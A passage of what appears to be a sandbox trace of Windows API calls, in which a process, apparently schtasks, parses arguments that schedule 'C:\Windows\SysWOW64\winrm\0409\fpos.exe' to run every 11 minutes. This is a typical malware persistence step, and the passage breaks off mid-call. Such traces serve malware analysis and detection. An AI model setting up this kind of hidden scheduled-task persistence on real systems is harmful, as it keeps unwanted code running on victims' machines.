[0156.384] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|sc|") returned 4 [0156.384] lstrlenW (lpString="|change|") returned 8 [0156.384] lstrlenW (lpString="|sc|") returned 4 [0156.384] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0156.384] SetLastError (dwErrCode=0x490) [0156.384] lstrlenW (lpString="run") returned 3 [0156.384] lstrlenW (lpString="run") returned 3 [0156.384] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.384] lstrlenW (lpString="sc") returned 2 [0156.384] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.384] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|run|") returned 5 [0156.384] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|sc|") returned 4 [0156.384] lstrlenW (lpString="|run|") returned 5 [0156.384] lstrlenW (lpString="|sc|") returned 4 [0156.384] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0156.385] SetLastError (dwErrCode=0x490) [0156.385] lstrlenW (lpString="end") returned 3 [0156.385] lstrlenW (lpString="end") returned 3 [0156.385] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.385] lstrlenW (lpString="sc") returned 2 [0156.385] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.385] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|end|") returned 5 [0156.385] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|sc|") returned 4 [0156.385] lstrlenW (lpString="|end|") returned 5 [0156.385] lstrlenW (lpString="|sc|") returned 4 [0156.385] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0156.385] SetLastError (dwErrCode=0x490) [0156.385] lstrlenW (lpString="showsid") returned 7 [0156.385] lstrlenW (lpString="showsid") returned 7 [0156.385] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.385] lstrlenW (lpString="sc") returned 2 [0156.385] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.385] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|showsid|") returned 9 [0156.385] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|sc|") returned 4 [0156.385] lstrlenW (lpString="|showsid|") returned 9 [0156.385] lstrlenW (lpString="|sc|") returned 4 [0156.385] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0156.385] SetLastError (dwErrCode=0x490) [0156.385] SetLastError (dwErrCode=0x490) [0156.385] SetLastError (dwErrCode=0x0) [0156.385] lstrlenW (lpString="/sc") returned 3 [0156.386] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0156.386] SetLastError (dwErrCode=0x490) [0156.386] SetLastError (dwErrCode=0x0) [0156.386] lstrlenW (lpString="/sc") returned 3 [0156.386] GetProcessHeap () returned 0x300000 [0156.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x8) returned 0x31dc90 [0156.386] GetProcessHeap () returned 0x300000 [0156.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cc30 [0156.386] SetLastError (dwErrCode=0x0) [0156.386] SetLastError (dwErrCode=0x0) [0156.386] lstrlenW (lpString="MINUTE") returned 6 [0156.386] lstrlenW (lpString="-/") returned 2 [0156.386] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0156.386] SetLastError (dwErrCode=0x490) [0156.386] SetLastError (dwErrCode=0x490) [0156.386] SetLastError (dwErrCode=0x0) [0156.386] lstrlenW (lpString="MINUTE") returned 6 [0156.386] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0156.386] SetLastError (dwErrCode=0x490) [0156.386] SetLastError (dwErrCode=0x0) [0156.386] lstrlenW (lpString="MINUTE") returned 6 [0156.386] GetProcessHeap () returned 0x300000 [0156.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xe) returned 0x31d4e0 [0156.386] GetProcessHeap () returned 0x300000 [0156.386] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cc60 [0156.386] SetLastError (dwErrCode=0x0) [0156.386] SetLastError (dwErrCode=0x0) [0156.386] lstrlenW (lpString="/mo") returned 3 [0156.386] lstrlenW (lpString="-/") returned 2 [0156.386] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.387] lstrlenW (lpString="?") returned 1 [0156.387] lstrlenW (lpString="?") returned 1 [0156.387] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.387] lstrlenW (lpString="mo") returned 2 [0156.387] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.387] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|?|") returned 3 [0156.387] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|mo|") returned 4 [0156.387] lstrlenW (lpString="|?|") returned 3 [0156.387] lstrlenW (lpString="|mo|") returned 4 [0156.387] SetLastError (dwErrCode=0x490) [0156.387] lstrlenW (lpString="create") returned 6 [0156.387] lstrlenW (lpString="create") returned 6 [0156.387] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.387] lstrlenW (lpString="mo") returned 2 [0156.387] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.387] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.387] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|mo|") returned 4 [0156.387] lstrlenW (lpString="|create|") returned 8 [0156.387] lstrlenW (lpString="|mo|") returned 4 [0156.387] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0156.387] SetLastError (dwErrCode=0x490) [0156.387] lstrlenW (lpString="delete") returned 6 [0156.387] lstrlenW (lpString="delete") returned 6 [0156.387] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.387] lstrlenW (lpString="mo") returned 2 [0156.387] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.388] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|delete|") returned 8 [0156.388] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|mo|") returned 4 [0156.388] lstrlenW (lpString="|delete|") returned 8 [0156.388] lstrlenW (lpString="|mo|") returned 4 [0156.388] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0156.388] SetLastError (dwErrCode=0x490) [0156.388] lstrlenW (lpString="query") returned 5 [0156.388] lstrlenW (lpString="query") returned 5 [0156.388] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.388] lstrlenW (lpString="mo") returned 2 [0156.388] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.388] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|query|") returned 7 [0156.388] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|mo|") returned 4 [0156.388] lstrlenW (lpString="|query|") returned 7 [0156.388] lstrlenW (lpString="|mo|") returned 4 [0156.388] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0156.388] SetLastError (dwErrCode=0x490) [0156.388] lstrlenW (lpString="change") returned 6 [0156.388] lstrlenW (lpString="change") returned 6 [0156.388] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.388] lstrlenW (lpString="mo") returned 2 [0156.388] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.388] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|change|") returned 8 [0156.388] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|mo|") returned 4 [0156.388] lstrlenW (lpString="|change|") returned 8 [0156.389] lstrlenW (lpString="|mo|") returned 4 [0156.389] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0156.389] SetLastError (dwErrCode=0x490) [0156.389] lstrlenW (lpString="run") returned 3 [0156.389] lstrlenW (lpString="run") returned 3 [0156.389] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.389] lstrlenW (lpString="mo") returned 2 [0156.389] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.389] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|run|") returned 5 [0156.389] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|mo|") returned 4 [0156.389] lstrlenW (lpString="|run|") returned 5 [0156.389] lstrlenW (lpString="|mo|") returned 4 [0156.389] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0156.389] SetLastError (dwErrCode=0x490) [0156.389] lstrlenW (lpString="end") returned 3 [0156.389] lstrlenW (lpString="end") returned 3 [0156.389] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.389] lstrlenW (lpString="mo") returned 2 [0156.389] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.389] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|end|") returned 5 [0156.389] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|mo|") returned 4 [0156.389] lstrlenW (lpString="|end|") returned 5 [0156.389] lstrlenW (lpString="|mo|") returned 4 [0156.389] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0156.389] SetLastError (dwErrCode=0x490) [0156.389] lstrlenW (lpString="showsid") returned 7 [0156.390] lstrlenW (lpString="showsid") returned 7 [0156.390] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.390] lstrlenW (lpString="mo") returned 2 [0156.390] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.390] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|showsid|") returned 9 [0156.390] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|mo|") returned 4 [0156.390] lstrlenW (lpString="|showsid|") returned 9 [0156.390] lstrlenW (lpString="|mo|") returned 4 [0156.390] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0156.390] SetLastError (dwErrCode=0x490) [0156.390] SetLastError (dwErrCode=0x490) [0156.390] SetLastError (dwErrCode=0x0) [0156.390] lstrlenW (lpString="/mo") returned 3 [0156.390] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0156.390] SetLastError (dwErrCode=0x490) [0156.390] SetLastError (dwErrCode=0x0) [0156.390] lstrlenW (lpString="/mo") returned 3 [0156.390] GetProcessHeap () returned 0x300000 [0156.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x8) returned 0x31dcb0 [0156.390] GetProcessHeap () returned 0x300000 [0156.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cc90 [0156.390] SetLastError (dwErrCode=0x0) [0156.390] SetLastError (dwErrCode=0x0) [0156.390] lstrlenW (lpString="11") returned 2 [0156.390] lstrlenW (lpString="-/") returned 2 [0156.390] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0156.390] SetLastError (dwErrCode=0x490) [0156.390] SetLastError (dwErrCode=0x490) [0156.390] SetLastError (dwErrCode=0x0) [0156.391] lstrlenW (lpString="11") returned 2 [0156.391] StrChrIW (lpStart="11", wMatch=0x3a) returned 0x0 [0156.391] SetLastError (dwErrCode=0x490) [0156.391] SetLastError (dwErrCode=0x0) [0156.391] lstrlenW (lpString="11") returned 2 [0156.391] GetProcessHeap () returned 0x300000 [0156.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x6) returned 0x31dcd0 [0156.391] GetProcessHeap () returned 0x300000 [0156.391] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31ccc0 [0156.391] SetLastError (dwErrCode=0x0) [0156.391] SetLastError (dwErrCode=0x0) [0156.391] lstrlenW (lpString="/tr") returned 3 [0156.391] lstrlenW (lpString="-/") returned 2 [0156.391] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.391] lstrlenW (lpString="?") returned 1 [0156.391] lstrlenW (lpString="?") returned 1 [0156.391] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.391] lstrlenW (lpString="tr") returned 2 [0156.391] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.391] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|?|") returned 3 [0156.391] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tr|") returned 4 [0156.391] lstrlenW (lpString="|?|") returned 3 [0156.391] lstrlenW (lpString="|tr|") returned 4 [0156.391] SetLastError (dwErrCode=0x490) [0156.391] lstrlenW (lpString="create") returned 6 [0156.391] lstrlenW (lpString="create") returned 6 [0156.391] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.391] lstrlenW (lpString="tr") returned 2 [0156.392] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.392] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.392] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tr|") returned 4 [0156.392] lstrlenW (lpString="|create|") returned 8 [0156.392] lstrlenW (lpString="|tr|") returned 4 [0156.392] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0156.392] SetLastError (dwErrCode=0x490) [0156.392] lstrlenW (lpString="delete") returned 6 [0156.392] lstrlenW (lpString="delete") returned 6 [0156.392] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.392] lstrlenW (lpString="tr") returned 2 [0156.392] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.392] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|delete|") returned 8 [0156.392] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tr|") returned 4 [0156.392] lstrlenW (lpString="|delete|") returned 8 [0156.392] lstrlenW (lpString="|tr|") returned 4 [0156.392] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0156.392] SetLastError (dwErrCode=0x490) [0156.392] lstrlenW (lpString="query") returned 5 [0156.392] lstrlenW (lpString="query") returned 5 [0156.392] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.392] lstrlenW (lpString="tr") returned 2 [0156.392] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.392] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|query|") returned 7 [0156.392] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tr|") returned 4 [0156.392] lstrlenW (lpString="|query|") returned 7 [0156.393] lstrlenW (lpString="|tr|") returned 4 [0156.393] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0156.393] SetLastError (dwErrCode=0x490) [0156.393] lstrlenW (lpString="change") returned 6 [0156.393] lstrlenW (lpString="change") returned 6 [0156.393] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.393] lstrlenW (lpString="tr") returned 2 [0156.393] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.393] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|change|") returned 8 [0156.393] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tr|") returned 4 [0156.393] lstrlenW (lpString="|change|") returned 8 [0156.393] lstrlenW (lpString="|tr|") returned 4 [0156.393] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0156.393] SetLastError (dwErrCode=0x490) [0156.393] lstrlenW (lpString="run") returned 3 [0156.393] lstrlenW (lpString="run") returned 3 [0156.393] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.393] lstrlenW (lpString="tr") returned 2 [0156.393] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.393] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|run|") returned 5 [0156.393] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tr|") returned 4 [0156.393] lstrlenW (lpString="|run|") returned 5 [0156.393] lstrlenW (lpString="|tr|") returned 4 [0156.393] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0156.393] SetLastError (dwErrCode=0x490) [0156.393] lstrlenW (lpString="end") returned 3 [0156.394] lstrlenW (lpString="end") returned 3 [0156.394] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.394] lstrlenW (lpString="tr") returned 2 [0156.394] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.394] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|end|") returned 5 [0156.394] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tr|") returned 4 [0156.394] lstrlenW (lpString="|end|") returned 5 [0156.394] lstrlenW (lpString="|tr|") returned 4 [0156.394] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0156.394] SetLastError (dwErrCode=0x490) [0156.394] lstrlenW (lpString="showsid") returned 7 [0156.394] lstrlenW (lpString="showsid") returned 7 [0156.394] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.394] lstrlenW (lpString="tr") returned 2 [0156.394] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.394] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|showsid|") returned 9 [0156.394] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|tr|") returned 4 [0156.394] lstrlenW (lpString="|showsid|") returned 9 [0156.394] lstrlenW (lpString="|tr|") returned 4 [0156.394] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0156.394] SetLastError (dwErrCode=0x490) [0156.394] SetLastError (dwErrCode=0x490) [0156.394] SetLastError (dwErrCode=0x0) [0156.394] lstrlenW (lpString="/tr") returned 3 [0156.394] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0156.394] SetLastError (dwErrCode=0x490) [0156.394] SetLastError (dwErrCode=0x0) [0156.395] lstrlenW (lpString="/tr") returned 3 [0156.395] GetProcessHeap () returned 0x300000 [0156.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x8) returned 0x31dcf0 [0156.395] GetProcessHeap () returned 0x300000 [0156.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31ccf0 [0156.395] SetLastError (dwErrCode=0x0) [0156.395] SetLastError (dwErrCode=0x0) [0156.395] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.395] lstrlenW (lpString="-/") returned 2 [0156.395] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0156.395] SetLastError (dwErrCode=0x490) [0156.395] SetLastError (dwErrCode=0x490) [0156.395] SetLastError (dwErrCode=0x0) [0156.395] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.395] StrChrIW (lpStart="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'", wMatch=0x3a) returned=":\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'" [0156.395] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.395] GetProcessHeap () returned 0x300000 [0156.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31d500 [0156.395] _memicmp (_Buf1=0x31d500, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.395] GetProcessHeap () returned 0x300000 [0156.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0xe) returned 0x31d520 [0156.395] GetProcessHeap () returned 0x300000 [0156.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x18) returned 0x31d540 [0156.395] _memicmp (_Buf1=0x31d540, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.395] GetProcessHeap () returned 0x300000 [0156.395] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x56) returned 0x31dd10 [0156.396] SetLastError (dwErrCode=0x7a) [0156.396] SetLastError (dwErrCode=0x0) [0156.396] SetLastError (dwErrCode=0x0) [0156.396] lstrlenW (lpString="'C") returned 2 [0156.396] lstrlenW (lpString="-/") returned 2 [0156.396] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0156.396] SetLastError (dwErrCode=0x490) [0156.396] SetLastError (dwErrCode=0x490) [0156.396] SetLastError (dwErrCode=0x0) [0156.396] lstrlenW (lpString="'C:\\Windows\\SysWOW64\\winrm\\0409\\fpos.exe'") returned 41 [0156.396] GetProcessHeap () returned 0x300000 [0156.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x54) returned 0x31dd70 [0156.396] GetProcessHeap () returned 0x300000 [0156.396] RtlAllocateHeap (HeapHandle=0x300000, Flags=0xc, Size=0x20) returned 0x31cd20 [0156.396] SetLastError (dwErrCode=0x0) [0156.396] SetLastError (dwErrCode=0x0) [0156.396] lstrlenW (lpString="/rl") returned 3 [0156.396] lstrlenW (lpString="-/") returned 2 [0156.396] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0156.396] lstrlenW (lpString="?") returned 1 [0156.396] lstrlenW (lpString="?") returned 1 [0156.396] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.396] lstrlenW (lpString="rl") returned 2 [0156.396] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.396] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|?|") returned 3 [0156.396] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|rl|") returned 4 [0156.396] lstrlenW (lpString="|?|") returned 3 [0156.396] lstrlenW (lpString="|rl|") returned 4 [0156.397] SetLastError (dwErrCode=0x490) [0156.397] lstrlenW (lpString="create") returned 6 [0156.397] lstrlenW (lpString="create") returned 6 [0156.397] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.397] lstrlenW (lpString="rl") returned 2 [0156.397] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.397] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|create|") returned 8 [0156.397] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|rl|") returned 4 [0156.397] lstrlenW (lpString="|create|") returned 8 [0156.397] lstrlenW (lpString="|rl|") returned 4 [0156.397] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0156.397] SetLastError (dwErrCode=0x490) [0156.397] lstrlenW (lpString="delete") returned 6 [0156.397] lstrlenW (lpString="delete") returned 6 [0156.397] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.397] lstrlenW (lpString="rl") returned 2 [0156.397] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.397] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|delete|") returned 8 [0156.397] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|rl|") returned 4 [0156.397] lstrlenW (lpString="|delete|") returned 8 [0156.397] lstrlenW (lpString="|rl|") returned 4 [0156.397] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0156.397] SetLastError (dwErrCode=0x490) [0156.397] lstrlenW (lpString="query") returned 5 [0156.397] lstrlenW (lpString="query") returned 5 [0156.397] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.398] lstrlenW (lpString="rl") returned 2 [0156.398] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.398] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|query|") returned 7 [0156.398] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|rl|") returned 4 [0156.399] lstrlenW (lpString="|query|") returned 7 [0156.399] lstrlenW (lpString="|rl|") returned 4 [0156.399] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0156.399] SetLastError (dwErrCode=0x490) [0156.399] lstrlenW (lpString="change") returned 6 [0156.399] lstrlenW (lpString="change") returned 6 [0156.399] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.399] lstrlenW (lpString="rl") returned 2 [0156.399] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.399] _vsnwprintf (in: _Buffer=0x31c220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|change|") returned 8 [0156.399] _vsnwprintf (in: _Buffer=0x31c200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x25f178 | out: _Buffer="|rl|") returned 4 [0156.399] lstrlenW (lpString="|change|") returned 8 [0156.399] lstrlenW (lpString="|rl|") returned 4 [0156.399] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0156.399] SetLastError (dwErrCode=0x490) [0156.399] lstrlenW (lpString="run") returned 3 [0156.399] lstrlenW (lpString="run") returned 3 [0156.399] _memicmp (_Buf1=0x31c1a0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.399] lstrlenW (lpString="rl") returned 2 [0156.400] _memicmp (_Buf1=0x31c1e0, _Buf2=0xffbf1b08, _Size=0x7) returned 0 [0156.400] _vsnwprintf (in: _Buffer=0x31c220, 